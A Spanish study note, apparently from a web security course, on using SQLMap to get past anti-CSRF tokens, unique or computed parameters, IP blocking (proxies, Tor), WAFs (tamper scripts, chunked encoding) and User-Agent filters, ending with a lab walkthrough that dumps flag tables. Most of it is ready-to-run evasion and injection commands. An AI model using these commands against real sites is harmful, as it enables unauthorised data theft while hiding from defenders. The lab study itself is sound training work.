🛡️ Evasión de Protecciones en Aplicaciones Web con SQLMap

📌 Resumen

SQLMap incluye múltiples mecanismos para evadir defensas comunes en aplicaciones web como tokens anti-CSRF, validaciones dinámicas, WAF, bloqueos por IP o User-Agent y filtros de seguridad.


🎯 Contexto general

En un escenario ideal, una aplicación vulnerable:

👉 En escenarios reales, esto casi nunca ocurre.

Las aplicaciones modernas implementan defensas que:

SQLMap incorpora soluciones automáticas para adaptarse a estos casos.


🔐 Omisión de tokens Anti-CSRF

¿Qué es un token Anti-CSRF?

Es un valor dinámico y único que el servidor exige en cada solicitud para comprobar que el usuario realmente visitó la página.


🧠 ¿Por qué rompe la automatización?

Esto impide ataques automáticos… salvo que se gestione correctamente.


🛠️ Opción clave: --csrf-token

sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"

🧠 ¿Qué hace SQLMap exactamente?

  1. Envía la petición

  2. Analiza la respuesta del servidor

  3. Extrae el nuevo token

  4. Sustituye automáticamente el token en la siguiente petición


✨ Detección automática

Si un parámetro contiene csrf, xsrf o token, SQLMap preguntará si debe actualizarlo automáticamente.


🔄 Bypass de valores únicos ( --randomize )

Algunas aplicaciones no usan CSRF, pero exigen que ciertos parámetros:

Esto rompe ataques repetitivos.


🛠️ Opción: --randomize

sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI

🧠 ¿Qué hace?


📌 Ideal cuando

  • Hay parámetros “raros” que cambian siempre

  • La app rechaza valores repetidos


🧮 Omisión de parámetros calculados ( --eval )

Algunas aplicaciones esperan parámetros calculados a partir de otros.

📌 Ejemplo típico:


🛠️ Opción: --eval

sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI

🧠 ¿Qué hace?


⚠️ Importante

El código de --eval se ejecuta en tu máquina, pero afecta todas las peticiones enviadas.


🕵️ Ocultación de dirección IP

¿Cuándo es necesario?

  • IP en lista negra

  • Rate limiting

  • Necesidad de anonimato


🌐 Uso de proxy

sqlmap -u "http://<IP>:PUERTO/?id=1" --proxy="socks4://IP:PUERTO"


📂 Rotación de proxies

sqlmap -u "http://<IP>:PUERTO/?id=1" --proxy-file=proxies.txt

SQLMap cambiará de proxy automáticamente.


🧅 Uso de Tor

sqlmap -u "http://<IP>:PUERTO/?id=1" --tor


✔️ Verificar Tor

sqlmap -u "http://<IP>:PUERTO/?id=1" --tor --check-tor

SQLMap comprobará que el tráfico sale por Tor.


🧱 Bypass de WAF (Web Application Firewall)

SQLMap detecta WAF enviando:

📌 Ejemplo:


🧠 Identificación del WAF


🔇 Evitar detección de WAF

sqlmap -u "http://<IP>:PUERTO/?id=1" --skip-waf

Reduce ruido y alertas defensivas

🧑‍💻 Bypass de User-Agent

Muchas aplicaciones bloquean directamente:

User-Agent: sqlmap/1.x


🛠️ Solución

sqlmap -u "http://<IP>:PUERTO/?id=1" --random-agent


🧠 ¿Qué hace?


🧬 Scripts Tamper (Evasión avanzada)

📌 ¿Qué son los tamper?

Scripts en Python que modifican la petición para evadir WAF/IPS.

👉 Cambian la forma, no el resultado del ataque.


🛠️ Uso básico

sqlmap -u "http://<IP>:PUERTO/?id=1" --tamper=between --batch


🔗 Encadenar tamper

sqlmap -u "http://<IP>:PUERTO/?id=1" --tamper=between,randomcase,space2comment --batch


📜 Tamper más importantes (explicados)

Tamper ¿Qué hace? Útil contra
between = y >BETWEEN WAF simples
randomcase Mayúsculas aleatorias Regex
space2comment Espacios → comentarios Filtros de espacios
space2plus Espacios → + Parsing débil
symboliclogical AND/OR → && /
percentage Codifica caracteres WAF básicos
base64encode Payload en Base64 Inspección directa

📌 Ver todos los tamper

sqlmap --list-tampers


🧩 Bypasses adicionales

📦 Chunked Transfer Encoding

sqlmap -u "http://<IP>:PUERTO/" --chunked

🔹 Divide la petición POST en fragmentos
🔹 Oculta palabras clave SQL


🧪 HTTP Parameter Pollution (HPP)

Ejemplo conceptual:

?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users

🔹 Algunos frameworks concatenan parámetros
🔹 Permite evadir filtros por fragmentación


🧪 Ejercicios prácticos de evasión con SQLMap

📌 Objetivo

Aplicar técnicas de evasión vistas anteriormente (CSRF, randomize, user-agent, tamper) para explotar vulnerabilidades SQLi reales.


🧩 Ejercicio 1 – flag8 (Anti-CSRF)

🎯 Enunciado

Detectar y explotar una SQLi en un parámetro POST, teniendo en cuenta que:


🧠 Análisis inicial

Al acceder a:
http://94.237.123.236:35786/case8.php
Pone

Detect and exploit SQLi vulnerability in POST parameter id, while taking care of the anti-CSRF protection
(Note: non-standard token name is used)

La página indica:

Detect and exploit SQLi vulnerability in POST parameter id, while taking care of the anti-CSRF protection
(Note: non-standard token name is used)

📌 Esto nos dice claramente:


🕵️ Captura de la petición (Burp Suite)

  1. Interceptamos la petición POST

  2. Observamos un parámetro sospechoso, por ejemplo:

    • id=1

    • t0ken=VALOR_ALEATORIO

📌 Ese parámetro es el token Anti-CSRF


💾 Guardar la petición

Guardamos la petición completa en un archivo req.txt

Esto es importante porque:


🛠️ Explotación con SQLMap

sqlmap -r req.txt --csrf-token=t0ken --batch --dump

🧠 ¿Qué está haciendo SQLMap aquí?

  1. Usa la petición original (-r req.txt)

  2. Detecta que t0ken es dinámico

  3. Extrae un nuevo token en cada respuesta

  4. Sustituye automáticamente el token

  5. Explota la SQLi y vuelca los datos
    {E9FCD0FE-DF81-49C7-859A-C7DE05C5F759}.png


🧩 Ejercicio 2 – flag9 (Parámetro único)

🎯 Enunciado

La aplicación usa un parámetro que debe ser único en cada petición.


🧠 Análisis

URL objetivo:

http://<IP>:PUERTO/case9.php?id=1&uid=1280517635

Observamos:

📌 Esto suele indicar:


🛠️ Técnica aplicada: --randomize

sqlmap -u "http://94.237.55.124:31546/case9.php?id=1&uid=1280517635" --randomize=uid --batch --dump

🧠 ¿Qué hace SQLMap?

🧩 Ejercicio 3 – flag10 (Bloqueo por User-Agent)

🎯 Enunciado

La aplicación bloquea herramientas automáticas por User-Agent.
{14001C99-CEC6-489C-9A47-DC013887CE60}.pngÇ

🧠 Análisis

Durante el acceso:

📌 Esto suele indicar:


🛠️ Solución: --random-agent

Tras capturar la petición con Burp y guardarla en req.txt:

{F5106083-AED1-48A4-8FD7-70B679F49138}.png

sqlmap -r req.txt --dump --batch --random-agent

🧠 ¿Qué cambia?

What's the contents of table flag11? (Case #11)

{9CE04AC8-6519-4A07-BF22-BC431BC7D3F9}.png

sqlmap -u "http://94.237.55.124:31546/case11.php?id=1" --batch --tamper=between --dump -T flag11

{973F5D12-E69D-4461-BAA5-05EC478933FB}.png

🎯 Conclusión

✅ Idea clave

SQLMap no solo lanza payloads, sino que:

  • Se adapta a defensas

  • Simula usuarios reales

  • Evade controles automáticos

  • Permite explotación en entornos reales